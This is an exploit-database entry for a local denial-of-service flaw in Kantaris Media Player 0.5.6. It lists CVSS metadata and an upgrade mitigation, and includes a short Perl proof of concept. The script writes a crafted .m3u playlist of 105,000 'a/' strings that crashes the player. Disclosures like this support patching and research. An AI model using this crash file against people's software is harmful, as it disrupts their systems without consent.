header-logo
Suggest Exploit
vendor:
Kantaris Media Player
by:
Anonymous
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Kantaris Media Player
Affected Version From: 0.5.6
Affected Version To: 0.5.6
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
Unknown

Kantaris 0.5.6 local Denial of Service Poc

Kantaris 0.5.6 crashes while loading a specially crafted playlist containing a string of 105000 'a/' characters.

Mitigation:

Upgrade to the latest version of Kantaris.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#Kantaris 0.5.6 local Denial of service Poc
#
#
#Author: Anonymous
#
#How i find this bug: I was looking for mkv player because i downloaded 13 seasons
#of south park. I found Kantaris player and decided to chek it's security.
#
#
#
#
#
#Bug info:Kantaris 0.5.6 crashes while loading poc playlist.Loading  that kind of playlist
#should be possible and is possible on other media players.
#
#
#
#
#
#
#
#Here is Proof on concept.........
 
 
$file="poc.m3u";
$poc='a/' x 105000;
open(myfile,">>$file");
print myfile $poc;
close(myfile);
print "Finished\n";